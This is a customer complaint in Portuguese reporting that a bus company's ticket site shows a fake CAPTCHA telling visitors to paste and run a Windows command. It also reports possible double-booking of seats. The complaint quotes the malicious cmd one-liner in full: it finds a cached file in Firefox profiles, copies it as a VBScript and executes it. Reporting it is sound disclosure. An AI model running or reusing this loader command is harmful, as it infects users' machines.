Site invadido e lugares ocupados sendo vendidos duplamente.

São dois problemas - site invadido e lugares endo vendidos duplamente.

1. Hoje o tentar acessar o site de vocês para comprar uma passagem, identifiquei um comportamento bastante preocupante.

Com o AdBlock ativado, o botão de login direciona normalmente para:

https://passagens.viajesantacruz.com.br/login

Porém, ao desativar o AdBlock, a página apresenta um CAPTCHA aparentemente falso e orienta o usuário a executar uma sequência de comandos no Windows (Win + R, Ctrl + V e Enter).

O comando fornecido pela página é:

`cmd /c for /r "%LOCALAPPDATA%'Mozilla'Firefox'Profiles" %f in (f_*) do @if %~zf==22582 copy "%f" %TEMP%'t.vbs >nul 2 >nulwscript %TEMP%'t.vbs`

Esse comando aparentemente procura um arquivo específico dentro dos perfis do Firefox, copia o arquivo para a pasta temporária e o executa como VBScript. Trata-se de um comportamento extremamente suspeito e que pode colocar os usuários em risco.

Felizmente, não executei o comando. Apenas acessei a página e identifiquei o problema.

Solicito que a empresa verifique com urgência se o site ou algum script de terceiros utilizado por ele foi comprometido e informe os usuários caso exista algum risco de segurança.

2. Busquei em outros sites passagens e os lugares q queria ja estavam ocupados, Entrei no site da Santa Cruz para comprar diretamente por la e percebi que os lugares que estavam ja ocupados no outro site estavam livres no site da santa cruz! Isso pode dar erro de cruzamento de dados, pessoas diferentes podem acabar comprando o mesmo lugar!